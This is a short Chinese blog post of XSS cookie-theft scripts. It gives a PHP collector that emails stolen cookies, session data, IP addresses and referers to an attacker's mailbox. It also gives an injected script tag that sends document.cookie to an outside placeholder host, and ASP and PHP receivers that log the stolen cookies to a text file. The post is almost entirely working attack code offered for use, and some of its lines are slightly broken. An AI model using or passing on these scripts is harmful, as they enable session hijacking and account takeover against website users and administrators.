xss一些小脚本

2021-07-09 11:23:00 浏览数 (1)

xss配合php获取cookie和session的脚本

代码语言:javascript复制
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$to='xxx@yeah.net';
$referer = $_SERVER['HTTP_REFERER'];
$cookie = $_GET['cookie']; 
$session = $_GET['session'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$subject='远程XSS获取地址-域名:'.$referer;
$body="<p> 远程管理员IP= ".$ip."<p> 访问时间=" . date('d-m-Y').
"<p> 后台地址=".$referer."<p> 浏览器类型=".$agent."<p> 当前页面地址=".$referer."<p> COOKIE信息=".$cookie."<p> Session信息=".$$session.'&nbsp;'.
$headers= 'MIME-Version: 1.0' . "rn";
$headers.= 'Content-type: text/html; charset=utf-8' . "rn";
$headers.="Cleanreport.com";
mail($to, $subject, $body, $headers);
?></pre>
<pre><script>document.write('<img src="http://url/news.asp?msg=' document.cookie '" width=0 height=0 border=0 />');</script>
news.asp代码:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
%>

PHP版代码:

代码语言:javascript复制
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cook.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '
.$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose
?>

0 人点赞